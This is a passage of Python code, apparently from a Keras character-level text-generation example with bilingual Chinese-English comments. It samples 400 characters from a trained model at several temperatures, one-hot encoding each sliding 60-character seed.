    print('the generated text：\n%s' % generate_text)
    print('**********************************************')

    # 尝试一系列不同的熵：熵值越大next char越无序，熵值越小next char越稳定;
    # the higher the temperature is, more random the next char is.
    for temperature in [0.2, 0.5, 1.0, 1.2]:
        print('\n----------temperature:', temperature)
        print(generate_text, end='')

        # Generate 400 chars based on the generate_text and the selected temperature
        for i in range(400):

            # Provide the one-hot encoding for the generate_text
            sampled = np.zeros((1, maxlen, len(chars))) # 1 x 60 x 39, all 0
            for t, char in enumerate(generate_text):
                sampled[0, t, chars_dict[char]] = 1

            # Predict the next char
            preds = model.predict(sampled, verbose=0)[0]  # return 39 probabilities

            next_index = sample(preds, temperature)  # return the next char index based on the 39 probabilities and the temperature
            next_char = chars[next_index]  # return the next char
            print(next_char, end='')

            generate_text = generate_text[1:] + next_char   # move 1 step right